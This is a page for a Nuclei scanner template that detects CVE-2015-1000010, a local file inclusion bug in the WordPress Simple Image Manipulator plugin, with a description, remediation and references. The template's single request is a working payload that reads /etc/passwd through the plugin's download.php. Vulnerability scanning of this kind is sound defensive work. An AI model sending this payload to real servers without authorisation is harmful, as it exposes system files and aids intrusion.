WordPress Simple Image Manipulator < 1.0 - Local File Inclusion

ID: CVE-2015-1000010

Severity: high

Author: dhiyaneshDK

Tags: cve2015,cve,packetstorm,wpscan,wordpress,wp-plugin,lfi,wp,simple-image-manipulator_project

Description

WordPress Simple Image Manipulator 1.0 is vulnerable to local file inclusion in ./simple-image-manipulator/controller/download.php because no checks are made to authenticate users or sanitize input when determining file location.

YAML Source

id: CVE-2015-1000010

info:
  name: WordPress Simple Image Manipulator < 1.0 - Local File Inclusion
  author: dhiyaneshDK
  severity: high
  description: |
    WordPress Simple Image Manipulator 1.0 is vulnerable to local file inclusion in ./simple-image-manipulator/controller/download.php  because no checks are made to authenticate users or sanitize input when determining file location.
  impact: |
    An attacker can exploit this vulnerability to read arbitrary files on the server.
  remediation: |
    Update to the latest version of the WordPress Simple Image Manipulator plugin.
  reference:
    - https://packetstormsecurity.com/files/132962/WordPress-Simple-Image-Manipulator-1.0-File-Download.html
    - https://wpscan.com/vulnerability/40e84e85-7176-4552-b021-6963d0396543
    - https://nvd.nist.gov/vuln/detail/CVE-2015-1000010
    - http://www.vapidlabs.com/advisory.php?v=147
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2015-1000010
    cwe-id: CWE-284
    epss-score: 0.03171
    epss-percentile: 0.90143
    cpe: cpe:2.3:a:simple-image-manipulator_project:simple-image-manipulator:1.0:*:*:*:*:wordpress:*:*
  metadata:
    max-request: 1
    vendor: simple-image-manipulator_project
    product: simple-image-manipulator
    framework: wordpress
  tags: cve2015,cve,packetstorm,wpscan,wordpress,wp-plugin,lfi,wp,simple-image-manipulator_project

http:
  - method: GET
    path:
      - '{{BaseURL}}/wp-content/plugins/./simple-image-manipulator/controller/download.php?filepath=/etc/passwd'

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:[x*]:0:0"

      - type: status
        status:
          - 200
# digest: 4a0a00473045022100886147c7848e7407f419603dbffd8657bd9fb7f8e9d3c7fac8f82f3d56a562c302204d7857bdcfd80afc613093c78bf5de28194d931c80b759bf37016c5a84a26625:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

$ nuclei -u "URL" -t "http/cves/2015/CVE-2015-1000010.yaml"

View on Github